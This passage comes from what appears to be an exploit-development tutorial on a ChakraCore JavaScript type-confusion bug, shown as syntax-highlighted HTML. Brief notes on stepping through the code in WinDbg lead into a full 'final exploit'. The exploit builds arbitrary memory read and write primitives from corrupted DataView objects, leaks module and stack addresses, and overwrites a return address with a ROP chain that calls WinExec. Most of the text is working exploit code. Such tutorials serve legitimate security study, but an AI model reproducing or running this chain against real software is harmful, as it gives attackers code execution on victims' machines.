    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>            <span class="c1">// 0</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x3e876</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18003e876: pop rax ; ret</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernel32Lo</span><span class="o">+</span><span class="mh">0x5e330</span><span class="p">,</span> <span class="nx">kernel32High</span><span class="p">);</span>  <span class="c1">// KERNEL32!WinExec address</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x7be3e</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18003e876: jmp rax</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>

    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
<span class="p">}</span>

<span class="nx">main</span><span class="p">();</span>
</code></pre></div></div>

<p>Before execution, we can find the address of <code class="language-plaintext highlighter-rouge">kernel32!WinExec</code> by computing the offset in WinDbg.</p>

<p><img src="/images/2typeconfusion107.png" alt="" /></p>

<p>Let’s again run our exploit in WinDbg and set a breakpoint on the <code class="language-plaintext highlighter-rouge">pop rdx</code> ROP gadget (located at <code class="language-plaintext highlighter-rouge">chakracore_base + 0x40802</code>)</p>

<p><img src="/images/2typeconfusion108.png" alt="" /></p>

<p><img src="/images/2typeconfusion109.png" alt="" /></p>

<p>After the <code class="language-plaintext highlighter-rouge">pop rdx</code> gadget is hit, we can see <code class="language-plaintext highlighter-rouge">0</code> is placed in RDX.</p>

<p><img src="/images/2typeconfusion110.png" alt="" /></p>

<p>Execution then redirects to the <code class="language-plaintext highlighter-rouge">pop rax</code> gadget.</p>

<p><img src="/images/2typeconfusion110.png" alt="" /></p>

<p>We then place <code class="language-plaintext highlighter-rouge">kernel32!WinExec</code> into RAX and execute the <code class="language-plaintext highlighter-rouge">jmp rax</code> gadget to jump into the <code class="language-plaintext highlighter-rouge">WinExec</code> function call. We can also see our parameters are correct (RCX points to <code class="language-plaintext highlighter-rouge">calc</code> and RDX is <code class="language-plaintext highlighter-rouge">0</code>.</p>

<p><img src="/images/2typeconfusion112.png" alt="" /></p>

<p><img src="/images/2typeconfusion113.png" alt="" /></p>

<p>We can now see everything is in order. Let’s close our of WinDbg and execute our final exploit without any debugger. The final code can be seen below.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Creating object obj</span>
<span class="c1">// Properties are stored via auxSlots since properties weren't declared inline</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="p">{}</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">d</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">e</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">f</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">g</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">j</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>

<span class="c1">// Create two DataView objects</span>
<span class="nx">dataview1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>
<span class="nx">dataview2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>

<span class="c1">// Function to convert to hex for memory addresses</span>
<span class="kd">function</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Arbitrary read function</span>
<span class="kd">function</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away</span>
    <span class="c1">// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this</span>
    <span class="kd">var</span> <span class="nx">arrayRead</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>

    <span class="c1">// Return the array</span>
    <span class="k">return</span> <span class="nx">arrayRead</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Arbitrary write function</span>
<span class="kd">function</span> <span class="nx">write64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
<span class="p">}</span>

<span class="c1">// Function used to set prototype on tmp function to cause type transition on o object</span>
<span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">proto</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="kd">let</span> <span class="nx">tmp</span> <span class="o">=</span> <span class="p">{</span><span class="na">__proto__</span><span class="p">:</span> <span class="nx">proto</span><span class="p">};</span>

    <span class="nx">o</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">value</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// main function</span>
<span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">2000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
        <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="p">{},</span> <span class="p">{});</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Extract dataview2-&gt;type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...</span>
    <span class="c1">// ... type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">typeLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">typeHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xC</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>

    <span class="c1">// Store the base of chakracore.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x1961298</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] ChakraCore.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>

    <span class="c1">// Leak a pointer to kernel32.dll from ChakraCore's IAT (for who's base address we already have)</span>
    <span class="nx">iatEntry</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x17c0000</span><span class="o">+</span><span class="mh">0x40</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>     <span class="c1">// KERNEL32!RaiseExceptionStub pointer</span>

    <span class="c1">// Store the upper part of kernel32.dll</span>
    <span class="nx">kernel32High</span> <span class="o">=</span> <span class="nx">iatEntry</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Store the lower part of kernel32.dll</span>
    <span class="nx">kernel32Lo</span> <span class="o">=</span> <span class="nx">iatEntry</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">-</span> <span class="mh">0x1d890</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] kernel32.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernel32High</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernel32Lo</span><span class="p">));</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary (lcoated at type+0x8)</span>
    <span class="nx">javascriptLibrary</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">typeLo</span><span class="o">+</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">typeHigh</span><span class="p">);</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary-&gt;scriptContext (located at javascriptLibrary+0x450)</span>
    <span class="nx">scriptContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x450</span><span class="p">,</span> <span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak type-&gt;javascripLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">threadContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">scriptContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x3b8</span><span class="p">,</span> <span class="nx">scriptContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;stackLimitForCurrentThread (located at threadContext+0xc8)</span>
    <span class="nx">stackAddress</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">threadContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0xc8</span><span class="p">,</span> <span class="nx">threadContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaked stack from type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;stackLimitForCurrentThread!</span><span class="dl">"</span><span class="p">);</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Stack leak: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>

    <span class="c1">// Compute the stack limit for the current thread and store it in an array</span>
    <span class="kd">var</span> <span class="nx">stackLeak</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">stackAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="mh">0xed000</span><span class="p">;</span>
    <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">stackAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Stack limit: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>

    <span class="c1">// Scan the stack</span>

    <span class="c1">// Counter variable</span>
    <span class="kd">let</span> <span class="nx">counter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="c1">// Store our target return address</span>
    <span class="kd">var</span> <span class="nx">retAddr</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">retAddr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">chakraLo</span> <span class="o">+</span> <span class="mh">0x1768bc0</span><span class="p">;</span>
    <span class="nx">retAddr</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">chakraHigh</span><span class="p">;</span>

    <span class="c1">// Loop until we find our target address</span>
    <span class="k">while</span> <span class="p">(</span><span class="kc">true</span><span class="p">)</span>
    <span class="p">{</span>

        <span class="c1">// Store the contents of the stack</span>
        <span class="nx">tempContents</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

        <span class="c1">// Did we find our return address?</span>
        <span class="k">if</span> <span class="p">((</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="nx">retAddr</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="nx">retAddr</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span>
        <span class="p">{</span>
            <span class="c1">// print update</span>
            <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Found the target return address on the stack!</span><span class="dl">"</span><span class="p">);</span>

            <span class="c1">// stackLeak+counter will now contain the stack address which contains the target return address</span>
            <span class="c1">// We want to use our arbitrary write primitive to overwrite this stack address with our own value</span>
            <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Target return address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">]));</span>

            <span class="c1">// Break out of the loop</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="c1">// Increment the counter if we didn't find our target return address</span>
        <span class="nx">counter</span> <span class="o">+=</span> <span class="mh">0x8</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// Begin ROP chain</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x3e876</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18003e876: pop rax ; ret</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x636c6163</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>            <span class="c1">// calc</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x3e6c6</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18003e6c6: pop rcx ; ret</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1c77000</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>    <span class="c1">// Empty address in .data of chakracore.dll</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd7ff7</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x1800d7ff7: mov qword [rcx], rax ; ret</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x40802</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x1800d7ff7: pop rdx ; ret</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>            <span class="c1">// 0</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x3e876</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18003e876: pop rax ; ret</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernel32Lo</span><span class="o">+</span><span class="mh">0x5e330</span><span class="p">,</span> <span class="nx">kernel32High</span><span class="p">);</span>  <span class="c1">// KERNEL32!WinExec address</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
